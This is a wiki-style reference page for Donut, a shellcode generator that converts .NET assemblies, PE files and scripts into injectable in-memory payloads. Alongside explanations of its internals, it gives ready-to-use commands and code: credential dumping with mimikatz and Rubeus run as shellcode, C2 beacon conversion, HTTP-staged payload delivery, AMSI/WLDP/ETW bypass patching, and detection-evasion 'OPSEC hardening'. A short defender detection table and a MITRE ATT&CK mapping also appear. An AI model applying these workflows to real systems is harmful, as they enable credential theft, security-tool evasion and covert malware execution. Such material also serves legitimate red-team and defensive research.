ᛉ Yggdrasil

Tool references

Donut Wiki

15 Sep 2026 · 4,386 words · 20 min

Contents

Author: TheWover, Odzhan Repo: https://github.com/TheWover/donut Description: Position-independent shellcode generator — converts .NET assemblies, PE files, VBS/JS, and more into injectable shellcode License: BSD-3-Clause Current Version: v1.1


Overview

Donut is an open-source position-independent shellcode generator that converts Windows payloads — .NET assemblies (EXE/DLL), native PE files (EXE/DLL), VBScript, JScript — into raw shellcode that executes entirely from memory. No file hits disk on the target. The payload can be embedded directly in the shellcode (stageless) or retrieved from a remote HTTP staging server (staged).

Key capabilities:

  • Generate x86, x64, or dual-mode (x86+amd64) shellcode
  • Load .NET assemblies via the Unmanaged CLR Hosting API
  • Execute native EXEs/DLLs with a custom PE loader
  • Run VBScript/JScript files via the IActiveScript interface
  • Encrypt the embedded module with Chaskey-128 CTR
  • Patch AMSI, WLDP, and ETW before payload execution
  • Compress payloads using aPLib, LZNT1, Xpress, or Xpress Huffman
  • Randomise API hashes, strings, and AppDomain names per generation (entropy)
  • Zero or overwrite PE headers of loaded modules in memory
  • Store native PEs in MEM_IMAGE memory to masquerade as legitimate loaded modules
  • Output shellcode in binary, Base64, C, Ruby, Python, PowerShell, C#, or Hex
  • Static/dynamic C libraries (Windows and Linux), plus a Python C extension

How It Works

.NET Assemblies (EXE/DLL)

Donut uses the Unmanaged CLR Hosting API to bootstrap the Common Language Runtime into the host process. A new isolated AppDomain is created, the assembly is loaded via AppDomain.Load_3, and the entry point (Program.Main for EXEs, a specified public static method for DLLs) is invoked with any supplied parameters.

Native EXE/DLL

A custom PE loader maps the binary into memory, processes the import table (including delayed imports), applies base relocations, patches exit-related API in the IAT (ExitProcess, exit, _exit, _cexit) to redirect to RtlExitUserThread so the host process stays alive, and optionally patches the command line stored in PEB.

Only PEs with relocation information (non-stripped) are supported. Cygwin binaries are unsupported.

VBScript / JScript

Scripts are executed using the IActiveScript COM interface with a stub ActiveScriptSite implementation. A subset of WScript methods (like Echo, Sleep) is supported to keep basic scripts functional.

Execution Flow (ASCII)

[Payload File]
      |
      v
[Donut Generator]
  - Read & validate payload
  - Build DONUT_MODULE (payload + metadata)
  - Compress (optional)
  - Encrypt with Chaskey-128-CTR
  - Build DONUT_INSTANCE (config + encrypted module)
  - Hash API strings with Maru (Speck64/Davies-Meyer)
  - Assemble PIC loader stub + instance
  - Emit loader.bin (or staged module file)
      |
      v
[loader.bin  <PIC shellcode>]
      |
      v  [Injected into target process]
      |
      v
[Loader Runtime]
  1. Resolve VirtualAlloc / VirtualFree via PEB walk
  2. Allocate RW memory, copy instance
  3. Decrypt instance (Chaskey CTR)
  4. Verify MAC (Maru hash of sig field)
  5. Load required DLLs (ole32, oleaut32, wininet, mscoree, shell32...)
  6. Resolve 48+ API addresses via Maru hash lookup
  7. Fetch module from HTTP if staged
  8. Decrypt and decompress module
  9. Bypass AMSI / WLDP / ETW
 10. Map & execute payload (CLR / PE / IActiveScript)
 11. Erase instance from memory
 12. Exit thread (or process, or block)

Architecture & Internals

Generator vs Loader Split

Donut has a clean two-component design:

Component Role
Generator (donut.c, lib/donut.so|dll) Runs on the attacker machine. Reads payload, builds encrypted module and instance, assembles shellcode.
Loader (loader/loader.c + sub-loaders) Position-independent C code embedded in the shellcode. Runs in the target process. Decrypts, loads, and executes the payload.

The loader is a compiled C stub that is baked into the generator. When you run donut, the generator splices the instance (encrypted config + optional module) into the pre-compiled loader stub and writes out loader.bin.

Donut Instance

The Instance is the runtime configuration blob embedded in the shellcode. It contains:

  • Maru IV (random per generation, used for API hash uniqueness)
  • 64-bit hashes for ~48 API functions (resolved at runtime via PEB walk)
  • DLL name list to load before resolving API (ole32;oleaut32;wininet;mscoree;shell32)
  • AMSI / WLDP / ETW bypass strings and function names
  • Staging URL and credentials (if HTTP staged)
  • Encryption keys for the module
  • The embedded DONUT_MODULE (if stageless)

The entire instance is encrypted before being embedded, so static analysis cannot read the configuration.

Donut Module

The Module is the wrapper around the actual payload file:

typedef struct _DONUT_MODULE {
    int      type;                   // EXE/DLL/JS/VBS
    int      thread;                 // run EXE entrypoint as thread?
    int      compress;               // compression engine used
    char     runtime[DONUT_MAX_NAME]; // CLR runtime version
    char     domain[DONUT_MAX_NAME];  // AppDomain name
    char     cls[DONUT_MAX_NAME];     // class (for .NET DLL)
    char     method[DONUT_MAX_NAME];  // method or export
    char     param[DONUT_MAX_NAME];   // arguments
    int      unicode;
    char     sig[DONUT_SIG_LEN];     // random string for MAC verification
    uint64_t mac;                    // Maru hash of sig
    uint32_t zlen;                   // compressed size
    uint32_t len;                    // original size
    uint8_t  data[4];               // payload bytes follow
} DONUT_MODULE;

If staged, the encrypted module is saved to disk (named randomly or via -n) and hosted on an HTTP server. The loader fetches it at runtime.

API Hashing (Maru)

Donut avoids storing API strings in the shellcode. Instead it uses Maru, a custom hash function built around the Speck 64-bit block cipher with a Davies-Meyer construction. The hash is 64-bit. A random IV is generated per Donut invocation and stored in the instance — this means the same API (LoadLibraryA) produces a different hash every time Donut generates shellcode, breaking static signature rules that key on the hash values.

At runtime the loader walks the PEB → _LDR_DATA_TABLE_ENTRY chain, hashes each export name with the IV, and matches against the stored hashes to resolve addresses.

Encryption (Chaskey CTR)

Chaskey is a lightweight 128-bit block cipher with 128-bit key support, used in Counter (CTR) mode. The key and nonce are randomly generated by the generator and embedded in the loader stub (unencrypted). The module and instance are encrypted with these keys. An adversary who finds the HTTP staging server cannot decrypt the module without the key that lives only inside the shellcode.

Master Key (128-bit random)  +  Counter/Nonce (128-bit random)
        |                                |
        +-----------> Chaskey-CTR <------+
                           |
              Encrypted DONUT_MODULE / DONUT_INSTANCE

Installation

sudo apt install donut-shellcode
# or
sudo apt install python-donut

From Source (Linux / MinGW)

git clone https://github.com/TheWover/donut.git
cd donut

# Linux (produces donut binary, donut.so, donut.a)
make

# Windows — MSVC (x64 Developer Command Prompt)
nmake -f Makefile.msvc

# Windows / Linux — MinGW-w64
make -f Makefile.mingw

Python Module

pip3 install donut-shellcode

# or from source
cd donut
pip3 install .

Docker

# Build
docker build -t donut .

# Run (mount current dir)
docker run -it --rm -v "${PWD}:/workdir" donut -h

# Generate shellcode via Docker
docker run -it --rm -v "${PWD}:/workdir" donut -i /workdir/payload.exe -o /workdir/loader.bin

CLI Usage & Flags

donut [options] -i <payload_file>
Flag Argument Description
-i / --input <file> Input payload file (EXE, DLL, VBS, JS, .NET assembly)
-o / --output <path> Output loader path. Default: loader.bin
-a / --arch <1\|2\|3> Architecture: 1=x86, 2=amd64, 3=x86+amd64 (default)
-b / --bypass <1\|2\|3> AMSI/WLDP/ETW bypass: 1=None, 2=Abort on fail, 3=Continue on fail (default)
-e / --entropy <1\|2\|3> 1=None, 2=Random names only, 3=Random names + encryption (default)
-f / --format <1-8> Output format (see Output Formats)
-k / --headers <1\|2> PE header handling: 1=Overwrite (default), 2=Preserve all
-j / --decoy <path> Decoy module path for Module Overloading
-z / --compress <1-5> Compression engine (see Compression Options)
-s / --server <url> HTTP staging server URL
-n / --modname <name> Module filename on staging server (random if omitted)
-c / --class <name> .NET class name (required for .NET DLL); supports namespace.class
-m / --method <name> .NET method or unmanaged DLL export name
-p / --params <"args"> Parameters/command line (quoted string)
-r / --runtime <version> CLR runtime version; e.g. v4.0.30319. Auto-detected from PE if omitted.
-d / --domain <name> AppDomain name for .NET. Randomised if entropy is enabled.
-t Run native EXE entrypoint as a thread (prevents host crash on exit)
-w Pass params to unmanaged DLL in UNICODE (default is ANSI)
-x / --exit <1\|2\|3> Exit behaviour: 1=Exit thread (default), 2=Exit process, 3=Block indefinitely
-y <hex_offset> After loader finishes, create a thread at host_exe_base + offset (resume host execution)

Payload Types & Requirements

.NET Assembly (EXE)

donut -i SharpKatz.exe -a 2 -o loader.bin
donut -i Rubeus.exe -p "kerberoast /nowrap" -a 2

Requirements: - Entry point (Main) must be public static and accept only string[] or no parameters - Must not be a Mixed Assembly (managed + native code) - Must not contain Unmanaged Exports

.NET Assembly (DLL)

donut -i SafetyKatz.dll -c SafetyKatz -m Main -a 2

Requirements: - -c (class, with optional namespace) and -m (method) are required - The specified class must be public - The method must be public static

Native EXE

donut -i mimikatz.exe -p "lsadump::sam exit" -t -a 2

Requirements: - Must contain relocation information (/FIXED:NO at link time) - Cygwin binaries are not supported - Use -t to run entrypoint as a thread and prevent ExitProcess from killing the host

Native DLL

donut -i payload.dll -m RunShellcode -p "arg1 arg2" -a 2

Requirements: - Export entry point must accept a single string argument or no arguments

VBScript / JScript

donut -i payload.vbs -a 2
donut -i payload.js  -a 2

Output Formats

-f value Format Use case
1 Binary (default) Raw bytes — pass to injector directly
2 Base64 Inline in scripts; Windows also copies to clipboard
3 C Embed in C/C++ source as unsigned char buf[]
4 Ruby Metasploit modules
5 Python Python injectors
6 PowerShell One-liners; inject via [System.Runtime.InteropServices.Marshal]
7 C# .NET injectors, e.g. DonutTest
8 Hexadecimal Manual inspection / scripting

Bypass System (AMSI / WLDP / ETW)

How It Works

Donut ships a modular bypass system. Each bypass is an isolated #if defined block in loader/bypass.c. Only the bypass selected at compile time is included in the loader — unused blocks are never present in the shellcode, reducing signature footprint.

Three bypass targets are supported:

Target Function patched Effect
AMSI amsi.dll!AmsiScanBuffer, AmsiScanString Functions overwritten with a stub that returns AMSI_RESULT_CLEAN
WLDP wldp.dll!WldpQueryDynamicCodeTrust, WldpIsClassInApprovedList Bypasses Device Guard / Windows Lockdown Policy
ETW ntdll.dll!EtwEventWrite Patched to ret immediately, suppressing ETW assembly load events

Bypass Levels (-b)

-b 1   No bypass attempted
-b 2   Bypass attempted; abort if it fails
-b 3   Bypass attempted; continue execution even if it fails (default)

Writing a Custom Bypass

Add a new #if defined(BYPASS_AMSI_X) block in loader/bypass.c implementing:

BOOL DisableAMSI(PDONUT_INSTANCE inst) { ... }

Then rebuild with the define set:

make -f Makefile.mingw BYPASS_AMSI=BYPASS_AMSI_X

The same pattern applies to WLDP (DisableWLDP) and ETW.


Staging Modes

Stageless (Embedded / Default)

The entire payload is compressed, encrypted, and embedded directly inside the shellcode blob. Larger output, but self-contained — no external dependency at execution time.

donut -i beacon.exe -a 2 -o loader.bin
# instance type: Embedded

Staged (HTTP)

The payload module is stored on a remote HTTP server. The shellcode only contains the loader + instance config with the URL. At runtime the loader fetches, decrypts, and executes the module.

donut -i beacon.exe -s https://192.168.1.10/modules/ -a 2 -o loader.bin
# Saves:
#   loader.bin       <- inject this into target
#   <random_name>    <- upload this to your HTTP server

With credentials:

donut -i beacon.exe -s https://user:pass@192.168.1.10/modules/ -a 2

OPSEC Note: The module on the staging server is encrypted with Chaskey. An adversary who captures it from the server cannot decrypt it without the key embedded in the loader. Still, TLS your staging server.


PE Header Handling & Module Overloading

Header Overwriting (-k 1, default)

By default, Donut zeroes out the PE headers of native EXE/DLLs after mapping them into memory. This defeats detections that compare the in-memory headers of modules against their on-disk backing files.

Preserve Headers (-k 2)

Keeps the original PE headers intact. Required if the payload reads its own headers (e.g., to access embedded PE resources).

Module Overloading (-j <decoy_dll>)

Instead of zeroing PE headers, Donut copies the PE headers of a legitimate decoy DLL over the headers of the payload. The memory view then looks like the decoy is loaded, rather than revealing the payload identity.

donut -i beacon.dll -j C:\Windows\System32\amsi.dll -a 2 -o loader.bin

The payload is stored in MEM_IMAGE memory (rather than MEM_PRIVATE) when using module overloading, further mimicking a legitimately loaded module.


Compression Options

-z value Engine Notes
1 None (default) No compression
2 aPLib Cross-platform; available on Linux and Windows
3 LZNT1 Windows only — uses RtlCompressBuffer
4 Xpress Windows only
5 Xpress Huffman Windows only; best ratio on most PE payloads

Example with Xpress Huffman (mimikatz shrinks ~53%):

donut -i mimikatz.exe -p "lsadump::sam exit" -t -z 5 -a 2

Python API

Install

pip3 install donut-shellcode

Minimal Usage

import donut

shellcode = donut.create(file="beacon.exe")
with open("loader.bin", "wb") as f:
    f.write(shellcode)

Full Parameter Reference

shellcode = donut.create(
    file    = 'payload.exe',      # Required: path to EXE/DLL/VBS/JS/.NET assembly
    url     = 'http://10.10.10.1/mods/',  # Staging server URL (omit for embedded)
    arch    = 3,                  # 1=x86, 2=amd64, 3=x86+amd64 (default)
    bypass  = 3,                  # 1=None, 2=Abort, 3=Continue (default)
    compress= 2,                  # 1=None, 2=aPLib, 3=LZNT1, 4=Xpress, 5=XpressHuff
    entropy = 3,                  # 1=None, 2=Random names, 3=Names+Encryption (default)
    format  = 1,                  # 1=Binary, 2=Base64, 3=C, 4=Ruby, 5=Python, 6=PS1, 7=CS, 8=Hex
    exit_opt= 1,                  # 1=Exit thread, 2=Exit process, 3=Block
    thread  = 1,                  # Run EXE entrypoint as thread
    cls     = 'Namespace.Class',  # .NET class (required for .NET DLL)
    method  = 'Execute',          # .NET method or DLL export
    params  = 'arg1 arg2',        # Parameters / command line
    runtime = 'v4.0.30319',       # CLR runtime version (auto-detected if omitted)
    appdomain = 'RandomDomain',   # AppDomain name (random if entropy enabled)
    output  = 'loader.bin',       # Output path
)

Dynamic Shellcode Generation Script

import donut, subprocess, sys

def generate_and_inject(payload_path, target_pid):
    sc = donut.create(
        file    = payload_path,
        arch    = 2,        # x64
        bypass  = 3,
        entropy = 3,
        compress= 2,
        exit_opt= 1,
        thread  = 1,
    )
    sc_path = "/tmp/loader.bin"
    with open(sc_path, "wb") as f:
        f.write(sc)
    print(f"[+] Shellcode: {len(sc)} bytes -> {sc_path}")
    # pass sc_path to your injector of choice

C Library API

Three functions are exported from donut.dll / donut.so:

int          DonutCreate(PDONUT_CONFIG c);   // Generate shellcode
int          DonutDelete(PDONUT_CONFIG c);   // Free resources
const char*  DonutError(int error);          // Error description

Minimal C Example

#include "donut.h"
#include <string.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    DONUT_CONFIG c;
    memset(&c, 0, sizeof(c));

    // input file
    lstrcpyn(c.input, argv[1], DONUT_MAX_NAME - 1);

    // options
    c.inst_type = DONUT_INSTANCE_EMBED;     // stageless
    c.arch      = DONUT_ARCH_X84;           // dual x86+amd64
    c.bypass    = DONUT_BYPASS_CONTINUE;
    c.format    = DONUT_FORMAT_BINARY;
    c.compress  = DONUT_COMPRESS_NONE;
    c.entropy   = DONUT_ENTROPY_DEFAULT;    // randomise + encrypt
    c.exit_opt  = DONUT_OPT_EXIT_THREAD;
    c.thread    = 1;

    int err = DonutCreate(&c);
    if (err != DONUT_ERROR_SUCCESS) {
        printf("Error: %s\n", DonutError(err));
        return 1;
    }

    printf("[+] Shellcode: %d bytes -> %s\n", c.pic_len, c.output);
    DonutDelete(&c);
    return 0;
}

DONUT_CONFIG Key Fields

Field Description
c.input Path to payload file
c.output Path for output shellcode (default loader.bin)
c.arch DONUT_ARCH_X86 / _X64 / _X84
c.bypass DONUT_BYPASS_NONE / _ABORT / _CONTINUE
c.entropy DONUT_ENTROPY_NONE / _RANDOM / _DEFAULT
c.format DONUT_FORMAT_BINARY / _BASE64 / _C / _RUBY / _PYTHON / _POWERSHELL / _CSHARP / _HEX
c.compress DONUT_COMPRESS_NONE / _APLIB / _LZNT1 / _XPRESS / _XPRESS_HUFF
c.exit_opt DONUT_OPT_EXIT_THREAD / _PROCESS / _BLOCK
c.thread 1 = run native EXE entrypoint as thread
c.inst_type DONUT_INSTANCE_EMBED (stageless) or DONUT_INSTANCE_HTTP (staged)
c.server Staging server URL
c.cls .NET class name
c.method .NET method or DLL export
c.param Command line / parameters
c.runtime CLR version string
c.pic Pointer to generated shellcode (set by DonutCreate)
c.pic_len Length of shellcode

Alternate Generators

Language Repo Notes
Go https://github.com/Binject/go-donut Full port; good for custom tooling
C# https://github.com/n1xbyte/donutCS Windows-only
Python pip3 install donut-shellcode C extension wrapping libdonut

Subprojects & Support Tools

Tool Description
DemoCreateProcess Sample .NET assembly for testing; takes two process names to spawn
DonutTest Simple C# shellcode injector for testing; takes Base64-encoded shellcode as a string
ModuleMonitor PoC detector for CLR injection (similar to how Cobalt Strike's execute-assembly works)
ProcessManager Enumerates processes and shows which have the CLR loaded — helps choose injection targets
inject.exe Simple injector; injects loader.bin into a remote PID or process name
inject_local.exe Self-injection tester; injects loader.bin into itself

Build support tools separately:

# MSVC
nmake inject_local -f Makefile.msvc
nmake inject -f Makefile.msvc

Common Red Team Workflows

1. Execute-Assembly Style (.NET EXE via Shellcode)

Convert a .NET tool to shellcode and inject into a sacrificial process:

# Generate shellcode
donut -i Rubeus.exe -p "kerberoast /nowrap" -a 2 -e 3 -z 2 -o rubeus.bin

# Inject with your favourite injector (e.g. a C# loader, Havoc BOF, etc.)

2. Spawn-and-Inject C2 Agent

# Convert C2 implant DLL to shellcode
donut -i beacon.dll -a 2 -e 3 -z 2 -b 3 -o beacon_sc.bin

# Use with process injection technique of choice

3. Staged Delivery

# Generate with HTTP staging
donut -i agent.exe -s https://teamserver.lab/mods/ -a 2 -e 3 -b 3 -o loader.bin

# Host the module file on teamserver (the random-named file donut saves alongside loader.bin)
python3 -m http.server 443 --directory /tmp/mods/

# Deliver loader.bin via macro / shellcode loader

4. Mimikatz in Memory

donut -i mimikatz.exe -p "sekurlsa::logonpasswords exit" -t -z 5 -a 2 -o mimi.bin

5. Module Overloading — Stealth PE Load

donut -i implant.dll \
      -j C:\Windows\System32\wbem\wbemdisp.dll \
      -a 2 -e 3 -b 3 \
      -o loader.bin

6. PowerShell One-Liner Delivery

# Generate as PowerShell
donut -i payload.exe -a 2 -f 6 -o sc.ps1

# sc.ps1 contains:
# $sc = [Convert]::FromBase64String("...")
# $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
# ... inject and execute

C2 Integration

Havoc C2 (Python plugin)

A community plugin (havoc-donut) integrates Donut directly into Havoc's agent command interface. Requires the Python donut-shellcode module installed on the Havoc server.

# In a Havoc listener window:
donut spawn implant.exe arg1 arg2

Mythic C2

Use the Python API to dynamically generate shellcode server-side as part of a custom tasking:

import donut

def generate_shellcode(payload_path, arch=2):
    return donut.create(
        file=payload_path,
        arch=arch,
        bypass=3,
        entropy=3,
        compress=2,
        exit_opt=1,
        thread=1,
    )

Sliver C2

Donut output (binary) is compatible with Sliver's shellcode execution BOFs or execute-shellcode command. Generate your shellcode externally and pass the .bin file.

Metasploit

Use the Ruby-format output (-f 4) or binary and wrap in a custom stager or payload module.


OPSEC & Detection Notes

Detection Vectors (Defenders Perspective)

Signal What's Observable
RWX Memory VirtualAlloc(MEM_COMMIT, PAGE_EXECUTE_READWRITE) — unusual for most processes
Unbacked Memory Execution Thread start address in MEM_PRIVATE allocation with no file backing
CLR in Unexpected Process mscoree.dll loaded into notepad.exe, explorer.exe, etc.
ETW Assembly Load Without bypass: Microsoft-Windows-DotNETRuntime events reveal assembly name
AMSI Hook Patches Memory write to amsi.dll!AmsiScanBuffer from an RWX region
Module Overload Mismatch Headers in memory don't match file on disk (before header wipe)
Known Donut Signatures Chaskey cipher constants, Maru constants, specific byte sequences in older builds

OPSEC Hardening Options

# Maximum entropy + encryption + compression + module overloading
donut -i payload.exe \
      -a 2 \
      -b 3 \          # continue even if AMSI/WLDP/ETW bypass fails
      -e 3 \          # random names + Chaskey encryption
      -z 2 \          # aPLib compression (cross-platform)
      -k 1 \          # zero PE headers (default)
      -j decoy.dll \  # module overloading
      -t \            # run entrypoint as thread
      -x 1 \          # exit thread when done
      -o loader.bin

Post-Generation Hardening (External)

  • Encrypt loader.bin again with a custom XOR/RC4/AES before embedding in your loader stub — Donut's encryption covers the module, not necessarily the outer shellcode header.
  • Custom bypass: Replace the default AMSI/ETW patch with your own implementation at loader/bypass.c.
  • Polymorphic re-generation: Re-run Donut for each operation — each generation produces a unique Chaskey key, Maru IV, and AppDomain name.
  • go-donut: The Go port produces slightly different output and may have different signature surface.

Extending the Loader

Add a New API

  1. Declare a function pointer in loader/winapi.h:
typedef BOOL (WINAPI *VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
  1. Add an entry to api_imports in donut.c:
{KERNEL32_DLL, "VirtualProtect"},
  1. Add the pointer to DONUT_INSTANCE.api union in include/donut.h in the same position as step 2.

  2. Call it in the loader:

inst->api.VirtualProtect(addr, size, PAGE_EXECUTE_READ, &old);

Add a New DLL

If your new API is in a DLL not already in the load list, add it to:

#define DLL_NAMES "ole32;oleaut32;wininet;mscoree;shell32;dnsapi;yourlib"

Debug Build

# MSVC
nmake debug -f Makefile.msvc

# MinGW
make debug -f Makefile.mingw

# Run against an instance file
loader instance

Debug output traces every step: API hash resolution, memory allocation, AMSI/WLDP patching, decompression, and payload invocation.


Cheatsheet

# Minimal — .NET EXE, dual-arch, default settings
donut -i Tool.exe

# .NET EXE with arguments
donut -i Rubeus.exe -p "kerberoast /nowrap" -a 2

# .NET DLL (class + method required)
donut -i SafetyKatz.dll -c SafetyKatz -m Main -a 2

# Native EXE (run as thread, Xpress Huffman compression)
donut -i mimikatz.exe -p "lsadump::sam exit" -t -z 5 -a 2

# Native DLL with export and args
donut -i payload.dll -m RunShellcode -p "beacon" -a 2

# VBScript / JScript
donut -i payload.vbs -a 2
donut -i runner.js   -a 2

# HTTP staging
donut -i agent.exe -s https://10.10.10.1/mods/ -a 2

# Module Overloading (stealth headers)
donut -i implant.dll -j C:\Windows\System32\amsi.dll -a 2

# Max OPSEC — encryption + compression + module overload + thread exit
donut -i implant.exe -a 2 -e 3 -b 3 -z 2 -j decoy.dll -t -x 1

# Output formats
donut -i payload.exe -f 2   # Base64
donut -i payload.exe -f 3   # C array
donut -i payload.exe -f 6   # PowerShell
donut -i payload.exe -f 7   # C#
donut -i payload.exe -f 8   # Hex

# Preserve PE headers (payload reads own resources)
donut -i payload.dll -k 2

# Block after execution (don't exit thread)
donut -i payload.exe -x 3

# Python API — minimal
python3 -c "import donut; open('x.bin','wb').write(donut.create(file='payload.exe',arch=2))"

# Docker
docker run -it --rm -v "\${PWD}:/workdir" donut -i /workdir/payload.exe -a 2 -o /workdir/loader.bin

MITRE ATT&CK Mapping

Technique ID Notes
Process Injection T1055 Donut generates shellcode intended for injection into target processes
Portable Executable Injection T1055.002 Native EXE/DLL loaded in-memory via custom PE loader
Dynamic-link Library Injection T1055.001 DLL payloads can be shellcode-wrapped and injected
Process Hollowing T1055.012 Compatible with hollowing — Donut shellcode runs inside hollowed process
Reflective Code Loading T1620 Core Donut concept — assembly loaded from memory without writing to disk
.NET CLR Injection T1055.013 Hosts CLR in arbitrary process via Unmanaged CLR Hosting API
Obfuscated Files or Information T1027 Chaskey encryption + entropy + compression of payload module
Deobfuscate/Decode Files or Information T1140 Loader decrypts/decompresses module at runtime
Impair Defenses: Disable or Modify Tools T1562.001 AMSI / WLDP / ETW patching by default
Native API T1106 Loader resolves and calls native API via PEB walk, avoiding IAT
Indicator Removal: Clear Windows Event Logs T1070.001 ETW bypass suppresses assembly load telemetry

References - https://github.com/TheWover/donut - https://thewover.github.io/Introducing-Donut/ - https://thewover.github.io/Bear-Claw/ - https://thewover.github.io/Cruller/ - https://github.com/TheWover/donut/blob/master/docs/devnotes.md - https://github.com/TheWover/donut/blob/master/docs/2019-08-21-Python_Extension.md - https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/ - https://modexp.wordpress.com/2019/06/24/inmem-exec-dll/ - https://blog.xpnsec.com/hiding-your-dotnet-etw/

← Tool references top ↑